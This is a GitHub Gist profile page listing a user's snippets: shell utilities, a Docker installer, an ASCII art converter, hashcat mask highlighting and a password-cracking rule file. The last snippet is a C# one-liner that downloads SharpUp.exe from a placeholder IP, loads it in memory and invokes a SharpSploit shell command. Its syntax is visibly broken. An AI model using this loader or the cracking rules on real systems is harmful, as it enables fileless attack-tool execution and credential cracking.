Skip to content

Instantly share code, notes, and snippets.

View network23's full-sized avatar

23 network23

  • ☆✲゚。.(✿◕ ‿◕ฺ)ノ))☆.。₀:゚✲゚:₀。
View GitHub Profile
@network23
network23 / mrgitclone.sh
Created March 22, 2017 11:27
This script will clone a github repository and register it with myrepos.
#!/bin/bash
# This script will clone a github repository and register it with myrepos.
#
# How to use:
# You need myrepo's and git. If you are using Debian/Ubuntu/Mint: sudo apt install -y myrepos git
# chmod +x mrgitclone.sh
# An alias is recommended, if you are using bash and the script is in your home dir: echo "alias mrgitclone='~/mrgitclone.sh'" >> ~/.bash_aliases
# ./mrgitclone.sh https://github.com/name/project.git
#
# To update all your github repositories: mr update
#!/bin/bash
#***********************************************************************************************#
# encrypt_folders.sh #
# asks for password, encrypt all folders in current dir with 7zip. Output files are 7z #
# #
# Version: 0.2 #
#***********************************************************************************************#
read -s -p "Password: " PASS
#!/bin/bash
# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update
# remove previously installed Docker
sudo apt-get remove docker docker-engine docker.io* lxc-docker*
# install dependencies 4 cert
@network23
network23 / ascii_art_convert.py
Created February 9, 2018 10:36
Convert to ASCII art
#!/usr/bin/env python
# sauce: https://motiondesigntechnology.wordpress.com/2014/03/05/python-ascii-video-and-ascii-image-creator/
import sys
import cv2
import subprocess
from subprocess import call
import aalib
@network23
network23 / hcmask.nanorc
Created May 28, 2019 15:48
nano highlights for hashcat masks
# nano syntax highlighting for hashcat hcmask files
syntax "hcmask" "\.hcmask"
# if you want to incluse *.masks add this behind the \.hcmask
# "|\.masks"
color brightblack "\?"
color brightwhite "u"
color yellow "d"
color brightcyan "a"
color brightblue "s"
@network23
network23 / custom_mini.rule
Last active August 10, 2021 12:43
A custom mini rule for use hashcat
# Word01, Word99, Word20
c $0$1
c $9$9
c $2$0
# Word01, Word99
l $0$1
l $9$9
l $2$0
public class Program {
public static void Main() {
System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData("https://x.x.x.x/SharpUp.exe")).EntryPoint.Invoke(null, parameters);")).GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", ""));
}
}
# object[] arguments = new object[]{ new string[] {"arg1", "arg2"}};